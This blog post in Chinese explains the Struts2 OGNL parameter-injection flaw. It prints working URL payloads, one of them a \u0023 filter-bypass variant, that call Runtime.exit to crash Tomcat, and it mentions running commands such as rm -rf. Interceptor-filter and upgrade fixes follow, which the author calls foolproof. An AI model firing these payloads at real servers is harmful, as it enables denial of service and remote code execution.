---
title: "Struts2远程执行漏洞"
author: "一日一博"
date: "2013-01-25T22:44:51Z"
tags: []
categories: ["编程语言"]
slug: "struts2"
draft: false
lastmod: "2013-01-25T22:44:51Z"
id: 1775944
url: "https://chouyi.iteye.com/blog/1775944"
---

<span style="color:darkred">Struts2转码有个bug，可以导致应用挂掉（也可以执行类似 rm –rf /root，只要有权限的话）</span>

在访问你应用的action的URL连接后面用get请求的方式带上参数

```java

?('\#_memberAccess[\'allowstaticmethodaccess\']')(meh)=tr&(aaa)(('\#context[\'xwork.methodaccessor.denymethodexecution\']\=\#foo')(\#foo\=new%20java.lang.Boolean("false")))&(asdf)(('\#rt.exit(1)')(\#rt\=@java.lang.Runtime@getRuntime()))=1

```

OGNL处理时最终的结果就是： 

```java
java.lang.Runtime.getRuntime().exit(1);
```
 
就会停掉Tomcat

为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“#”字符，所以上面这个参数在Struts2.1.8之后就没有效果了，但如果使用了Java的unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值：


```java

?('\u0023_memberAccess[\'allowstaticmethodaccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.methodaccessor.denymethodexecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
```


转义后是这样： 

```java
?('#_memberAccess['allowstaticmethodaccess']')(meh)=true&(aaa)(('#context['xwork.methodaccessor.denymethodexecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 
```

还是可以停掉服务器

如下图，Tomcat就直接down掉了
![](http://dl.iteye.com/upload/attachment/0079/8619/bf966ae3-c774-35e2-b85f-e2dbf12256cb.jpg)


**解决方法：Struts2的interceptor参数过滤**

```xml
<interceptor-ref name="params"> 
<param name="excludeParams">.*\\u0023.*</param> 
</interceptor-ref> 
```


但还不完全，可以这样过滤

把JAR包升级到2.3.4版本，发现struts-default.xml参数过滤是这样的：

```xml

<interceptor-ref name="params">
    <param name="excludeParams">
dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,parameters\...*
    </param>
    </interceptor-ref>

```


**而且在ParametersInterceptor拦截器里面是通过正则表达式来控制参数值**：
![](http://dl.iteye.com/upload/attachment/0079/8624/9d5b4ccc-677c-3e36-9ca9-353d5844e51f.jpg)
这样就万无一失了，不过要注意更新JAR包的时候相关联的一系列JAR包都要覆盖。